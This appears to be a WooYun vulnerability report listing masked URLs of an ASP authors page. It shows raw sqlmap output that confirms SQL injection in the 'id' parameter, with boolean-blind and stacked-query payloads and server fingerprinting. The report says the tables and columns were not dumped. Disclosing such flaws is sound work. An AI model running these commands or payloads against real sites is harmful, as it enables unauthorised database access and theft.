WooYun.org

http://**.**.**.**/Authors/index_mod.asp?id=30
http://**.**.**.**/Authors/index_mod.asp?id=30
http://**.**.**.**/Authors/index_mod.asp?id=3968
http://**.**.**.**/Authors/index_mod.asp?id=1963
http://**.**.**.**:8081/Authors/index_mod.asp?id=1530
C:\Python27\sqlmap>sqlmap.py -u http://**.**.**.**/Authors/index_mod.asp?id=3
968
sqlmap/0.9 - automatic SQL injection and database takeover tool
http://**.**.**.**
[*] starting at: 19:00:45
[19:00:45] [INFO] using 'C:\Python27\sqlmap\output\**.**.**.**\session' as se
ssion file
[19:00:45] [INFO] testing connection to the target url
[19:00:46] [INFO] testing if the url is stable, wait a few seconds
[19:00:47] [INFO] url is stable
[19:00:47] [INFO] testing if GET parameter 'id' is dynamic
[19:00:47] [INFO] confirming that GET parameter 'id' is dynamic
[19:00:48] [INFO] GET parameter 'id' is dynamic
[19:00:48] [INFO] heuristic test shows that GET parameter 'id' might be injectab
le (possible DBMS: Microsoft Access)
[19:00:48] [INFO] testing sql injection on GET parameter 'id'
[19:00:48] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[19:00:49] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVI
NG clause' injectable
parsed error message(s) showed that the back-end DBMS could be Microsoft Access.
Do you want to skip test payloads specific for other DBMSes? [Y/n]
[19:00:50] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'id' is vulnerable. Do you want to keep testing the others? [y/N]
sqlmap identified the following injection points with a total of 15 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=3968 AND 7670=7670
---
[19:00:52] [INFO] testing Microsoft Access
[19:00:53] [INFO] confirming Microsoft Access
[19:00:53] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[19:00:53] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 13 times
[19:00:53] [INFO] Fetched data logged to text files under 'C:\Python27\sqlmap\ou
tput\**.**.**.**'
C:\Python27\sqlmap>sqlmap.py -u http://**.**.**.**/Authors/index_mod.a
sp?id=30
sqlmap/0.9 - automatic SQL injection and database takeover tool
http://**.**.**.**
[*] starting at: 19:01:24
[19:01:24] [INFO] using 'C:\Python27\sqlmap\output\**.**.**.**\session
' as session file
[19:01:24] [INFO] testing connection to the target url
[19:01:24] [INFO] testing if the url is stable, wait a few seconds
[19:01:25] [INFO] url is stable
[19:01:25] [INFO] testing if GET parameter 'id' is dynamic
[19:01:25] [INFO] confirming that GET parameter 'id' is dynamic
[19:01:25] [INFO] GET parameter 'id' is dynamic
[19:01:26] [WARNING] heuristic test shows that GET parameter 'id' might not be i
njectable
[19:01:26] [INFO] testing sql injection on GET parameter 'id'
[19:01:26] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[19:01:26] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVI
NG clause' injectable
[19:01:26] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[19:01:26] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[19:01:26] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[19:01:27] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[19:01:27] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[19:01:27] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[19:01:48] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[19:02:10] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[19:02:11] [INFO] GET parameter 'id' is 'PostgreSQL > 8.1 stacked queries' injec
table
[19:02:11] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[19:02:11] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'id' is vulnerable. Do you want to keep testing the others? [y/N]
sqlmap identified the following injection points with a total of 23 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=30 AND 6886=6886
Type: stacked queries
Title: PostgreSQL > 8.1 stacked queries
Payload: id=30; SELECT PG_SLEEP(5);--
---
[19:02:31] [INFO] the back-end DBMS is PostgreSQL
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: PostgreSQL
[19:02:31] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 21 times
[19:02:31] [INFO] Fetched data logged to text files under 'C:\Python27\sqlmap\ou
tput\**.**.**.**'
[*] shutting down at: 19:02:31
跑表跑字段太慢了 就没跑。。。